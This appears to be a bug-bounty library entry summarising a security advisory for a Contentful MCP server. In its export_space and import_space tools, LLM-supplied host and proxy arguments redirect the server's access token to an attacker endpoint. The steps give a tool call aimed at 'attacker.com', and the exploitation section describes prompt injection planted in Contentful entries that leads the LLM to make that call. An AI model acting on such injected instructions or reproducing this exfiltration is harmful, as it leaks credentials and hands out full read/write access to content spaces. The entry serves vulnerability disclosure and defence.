# Contentful MCP Server: export_space/import_space tools pass LLM-controlled `host`/`proxy` args to CMA client, redirecting server PAT to attacker-controlled endpoint

Contentful MCP export_space/import_space tools spread LLM-controlled host/proxy args into the CMA client, sending the server's management PAT to an attacker endpoint.

- Payout: Research
- Severity: high
- Program: Contentful MCP Server
- Found by: hewei-gikaku
- Disclosed: 2026-08-19
- CVE: CVE-2026-53957
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-2xhg-73j7-rrgx
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-2xhg-73j7-rrgx
- Tags: area:ai domain:ai domain:api impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:llm tech:nodejs technique:source-review vuln:prompt-injection vuln:secrets-leak vuln:ssrf

**Target:** MCP server tools (export_space/import_space) wrapping contentful-export/import CMA SDK
**Root cause:** exportSpace/importSpace call createClientConfig (which extracts only accessToken and discards config.host) then spread unfiltered LLM-controlled ...args into the options passed to contentful-export/import, whose CMA SDK builds baseURL from host and attaches Authorization: Bearer <PAT>.
**Steps:**
1. Enable the disabled tools: call `space_to_space_migration_handler` with `{ "action": "enable" }`
2. Call `export_space` with `{ "spaceId": "victim", "environmentId": "master", "host": "attacker.com", "insecure": true }`
3. contentful-export parseOptions sets `options.accessToken = options.managementToken`; init-client calls `createClient(config)` with attacker host
4. SDK builds `baseURL = protocol + '://' + host + ':' + port + '/spaces/' + spaceId` and sends `Authorization: Bearer <PAT>` to attacker host
5. Alternative: `proxy` + `rawProxy: true` routes plaintext request incl. Authorization header through attacker proxy
**How found:** Noticed exportSpace/importSpace were the only tools calling createClientConfig (token-only) instead of createToolClient (which pins host to api.contentful.com), then traced ...args spread through contentful-export into the CMA SDK baseURL construction.
**Exploitation:** Attacker either has MCP tool-call access or plants a prompt-injection instruction in a Contentful entry/asset the LLM reads; the LLM enables the migration workflow and calls export_space with host=attacker.com and insecure=true, causing the first CMA GET /spaces/<id> to arrive at the attacker server with the server's PAT in the Authorization header, granting persistent out-of-band CMA access to all scoped spaces.
**Escalation:** Prompt injection through attacker-writable Contentful content removes the need for any MCP client privilege; exfiltrated PAT yields full read/write across all spaces the token scopes.
**Insight:** When an MCP tool wraps a third-party SDK, check whether the tool spreads raw LLM args into SDK options: any `host`, `baseURL`, `proxy`, `insecure` or `rawProxy` field in the Zod schema becomes a credential-exfiltration primitive because SDKs attach auth headers to whatever baseURL they're given.

## Proof of concept (copied exactly from the original report)

**Vulnerable exportOptions spread of LLM args**

```
const exportOptions = {
  ...args,          // ← LLM-controlled tool call args: args.host enters here, unfiltered
  managementToken,  // ← server PAT injected alongside attacker-controlled host
  environmentId: args.environmentId || 'master',
  exportDir:     args.exportDir     || process.cwd(),
  contentFile:   args.contentFile   || `contentful-export-${args.spaceId}.json`,
};

const contentfulExport = await import('contentful-export');
await contentfulExport.default(exportOptions);  // host + PAT reach the SDK here
```

